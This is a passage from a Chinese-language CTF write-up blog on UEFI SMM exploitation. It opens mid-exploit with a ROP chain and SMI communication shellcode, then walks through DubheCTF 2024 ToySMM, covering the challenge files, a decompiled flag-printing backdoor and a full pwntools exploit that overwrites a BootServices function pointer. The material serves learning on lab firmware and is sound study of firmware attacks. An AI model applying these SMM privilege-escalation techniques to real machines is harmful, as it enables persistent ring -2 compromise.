, 0x7ed0200 , 0x7fc123d , 0x8000000044440067 , 0x7fc9385 , 0x1337 , 0x1337 , 0x1337 , 0x7ee8222 , 0x0 , 0x7fc123d , 0x0 , 0x7ee82fe , 0x44440000 , 0x7ff7b2c , ] real_chain_size = len (real_chain) * 8 real_chain = '.quad ' + '\n.quad ' .join(map (str , real_chain)) code = asm(f''' /* Copy data into allocated buffer */ lea rsi, qword ptr [rip + data] mov rdi, {buffer} mov rcx, {0x18 + len (payload)} cld rep movsb /* Copy real ROP chain into buffer + 0x800 */ lea rsi, qword ptr [rip + real_chain] mov rdi, {buffer + 0x800 } mov rcx, {real_chain_size} cld rep movsb /* Communicate(mSmmCommunication, buffer, NULL) */ mov rcx, {mSmmCommunication} mov rdx, {buffer} xor r8, r8 mov rax, {Communicate} /* These two regs will spill on SMI stack */ mov r14, 0x7fe5269 /* pop rsp; ret */ mov r15, {buffer + 0x800 } /* -> RSP */ call rax test rax, rax jnz fail ret fail: ud2 real_chain: {real_chain} data: .octa {gEfiSmmCowsayCommunicationGuid} /* Buffer->HeaderGuid */ .quad {len (payload)} /* Buffer->MessageLength */ /* payload will be appended here to serve as Buffer->Data */ ''' )p.recvuntil(b'code:' ) code = code.hex ().encode() + payload.hex ().encode() + b'\ndone' p.sendline(code) p.recvuntil(b'RAX - ' ) flag = long_to_bytes(int (p.recv(16 ), 16 ))[::-1 ] print ("flag:" , flag)p.interactive()
最终效果如下:
DubheCTF 2024 ToySMM 恭喜你已经成功入门 UEFI,接下来就来看看 XCTF 吧🤣🤣🤣
题目分析 题目描述:
UEFI SMM U know? :)
运行效果:
题目的文件结构如下:
1 2 3 4 5 6 7 8 9 10 11 ToySMM/ ├── OVMF_CODE.fd ├── OVMF_VARS.fd ├── flagregion ├── kvmvapic.bin ├── qemu-system-x86_64 ├── readme.md ├── rootfs │ ├── ToyApp.efi │ └── startup.nsh └── run.sh
有一个 readme.md 文件,内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 ## Quick start `./run.sh` ## Files + flagregion Real flag (Not very real :) + kvmvapic.bin Used by qemu-system-x86_64 + qemu-system-x86_ 64 Self build qemu with some patch to smm region (Hide real flag in 0x23330000) + run.sh Start the virtual UEFI OVMF env. + OVMF_CODE.fd OVMF_ VARS.fd UEFI emulation env build with edk2 + rootfs Store a nsh file to auth start ToyApp.efi ## Notice && Tips + Seld-build qemu-systyem-x86_64 is built and tested on ubuntu + [UEFITools ](https://github.com/LongSoft/UEFITool ) is a tool parse UEFI Firmware package + Only Ring -2 privileges can read the correct flag in 0x23330000
也就是说我们需要利用漏洞来获取地址 0x23330000 上的 flag,感觉要求和上面两道题基本一致。 由于这道题没有给出 patch 文件且只给了打包好的固件,所以这个时候我们需要使用一个 ida 插件 efiXplorer 来帮我们解包。安装好该插件后将 OVMF_CODE.fd 拖进 ida 后会自动进行解包。通过直觉🤣🤣🤣找到了 ToySMM_handler 函数然后手动恢复了一下符号:
该函数第一个 if 语句里面是调用一次 BOOT_SERVICES->LocateProtocol,第二个 if 语句是不可能进去的,这让我很好奇 sub_363000 这个函数是在干什么 :)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 __int64 sub_363000 () { sub_364052 (0x23330000 i64, 32 i64); return 0 i64; } __int64 __fastcall sub_364052 (__int64 a1, __int64 a2) { __int64 v2; __int64 i; unsigned __int8 v4; v2 = a2; if ( !a1 ) return 0 i64; for ( i = 0 i64; a2 != i; ++i ) { do v4 = __inbyte(0x3FD u); while ( (v4 & 0x20 ) == 0 ); __outbyte(0x3F8 u, *(_BYTE *)(a1 + i)); } return v2; }
可以看到这个函数就类似于用于打印 flag 的后门函数,所以我们让程序执行这个函数即可。然后这里让我没想到的是,BOOT_SERVICES 这个函数虚表是可以改的,所以我们直接把 BOOT_SERVICES->LocateProtocol 改成打印后门的函数就能直接获取 flag 了,不过在这之前要满足第一个 if 的条件。不过由于 CommBuffer 和 CommBufferSize 是我们这些用户可控的,所以很容易满足。这里还有一个问题就是如何找到后门函数的地址,我的做法是直接在 gdb 中搜索 0x23330000,因为在调用后门函数前的第二个 if 语句有对这个数的使用
然后直接和 ida 里的汇编进行比较,就能够找到后门函数的地址
exp 最终 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 from pwn import *from Crypto.Util.number import *p = process('./run.sh' ) context(arch='amd64' , os='linux' ) def lg (buf ): log.success(f'\033[33m{buf} :{eval (buf):#x} \033[0m' ) p.recvuntil(b'Boot Services ' ) BootServices = int (p.recv(16 ), 16 ) lg("BootServices" ) code = asm(f""" mov rax, {BootServices} mov rbx, qword ptr [rax + 320] mov rcx, qword ptr [rax + 64] """ )code = code.hex ().encode() + b'\ndone' p.sendline(code) p.recvuntil(b'RBX: 0x' ) LocateProtocol = int (p.recv(16 ), 16 ) p.recvuntil(b'RCX: 0x' ) AllocatePool = int (p.recv(16 ), 16 ) lg("LocateProtocol" ) lg("AllocatePool" ) gEfiSmmCommunicationProtocolGuid = 0x32c3c5ac65db949d4cbd9dc6c68ed8e2 code = asm(f""" /* LocateProtocol(gEfiSmmCommunicationProtocolGuid, NULL, &protocol) */ lea rcx, qword ptr [rip + guid] xor rdx, rdx lea r8, qword ptr [rip + protocol] mov rax, {LocateProtocol} call rax test rax, rax jnz fail mov rax, qword ptr [rip + protocol] /* mSmmCommunication */ mov rbx, qword ptr [rax] /* mSmmCommunication->Communicate */ ret fail: ud2 guid: .octa {gEfiSmmCommunicationProtocolGuid} protocol: """ )p.recvuntil(b'Type more code' ) code = code.hex ().encode() + b'\ndone' p.sendline(code) p.recvuntil(b'RAX: 0x' ) mSmmCommunication = int (p.recv(16 ), 16 ) p.recvuntil(b'RBX: 0x' ) Communicate = int (p.recv(16 ), 16 ) lg("mSmmCommunication" ) lg("Communicate" ) EfiRuntimeServicesData = 6 code = asm(f""" /* AllocatePool(EfiRuntimeServicesData, 0x1000, &buffer) */ mov rcx, {EfiRuntimeServicesData} mov rdx, 0x1000 lea r8, qword ptr [rip + buffer] mov rax, {AllocatePool} call rax test rax, rax jnz fail mov rax, qword ptr [rip + buffer] ret fail: ud2 buffer: """ )p.recvuntil(b'Type more code' ) code = code.hex ().encode() + b'\ndone' p.sendline(code) p.recvuntil(b'RAX: 0x' ) buffer = int (p.recv(16 ), 16 ) lg("buffer" ) gEfiSmmCowsayCommunicationGuid = 0x9d76f4b1548e0872ec86b7f3b31cf11e code = asm(f""" mov rax, {BootServices + 320 } mov qword ptr [rax], 0x5f9f080 /* Copy data into allocated buffer */ lea rsi, qword ptr [rip + data] mov rdi, {buffer} mov rcx, 0x40 cld rep movsb /* Communicate(mSmmCommunication, buffer, NULL) */ mov rcx, {mSmmCommunication} mov rdx, {buffer} xor r8, r8 mov rax, {Communicate} call rax test rax, rax jnz fail ret fail: ud2 data: .octa {gEfiSmmCowsayCommunicationGuid} /* Buffer->HeaderGuid */ .quad 0x28 /* Buffer->MessageLength */ .quad 0x4141414141414141 /* Buffer->Data */ .quad 0x4141414141414141 .quad 0x4141414141414141 """ )p.recvuntil(b'Type more code' ) code = code.hex ().encode() + b'\ndone' p.sendline(code) p.interactive()
最终效果如下:
总结 简单学习了一下 UEFI SSM 的漏洞类型和攻击方式,对 UEFI 固件漏洞挖掘利用有了更加深刻的认识,找个时间再找些实际存在的漏洞实操一下😋。
学习的文章 https://xiananren.github.io/2024/08/23/UEFI%E5%9B%BA%E4%BB%B6%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/ https://www.cnblogs.com/L0g4n-blog/p/17369864.html https://www.sentinelone.com/labs/zen-and-the-art-of-smm-bug-hunting-finding-mitigating-and-detecting-uefi-vulnerabilities/ https://www.binarly.io/advisories/brly-2021-007 https://xiananren.github.io/2024/08/26/UEFI%20SMM%E9%A2%98%E7%9B%AE%E8%AE%AD%E7%BB%83/ https://toh.necst.it/uiuctf/pwn/system/x86/rop/UIUCTF-2022-SMM-Cowsay/